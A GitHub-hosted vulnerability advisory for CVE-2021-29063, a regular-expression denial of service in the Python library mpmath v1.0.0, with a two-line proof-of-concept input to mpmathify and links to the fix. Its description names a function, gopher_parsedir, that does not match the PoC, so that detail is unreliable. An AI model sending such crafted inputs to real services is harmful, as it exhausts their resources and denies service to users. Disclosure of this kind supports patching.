Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

CVE-2021-29063

Package

mpmath

Overview

mpmath is Python library for arbitrary-precision floating-point arithmetic.

Regular Expression Denial of Service (ReDOS) in Mpmath v1.0.0.

Passing specific string to gopher_parsedir may result in long excesively long evaluation by the regex used inside the function.

Proof of Concept

from mpmath import mpmathify
mpmathify("(" + "1" * 5000 + "j!")

GitHub Commit

https://github.com/vks/mpmath/commit/c811b37c65a4372a7ce613111d2a508c204f9833

GitHub PR

mpmath/mpmath#570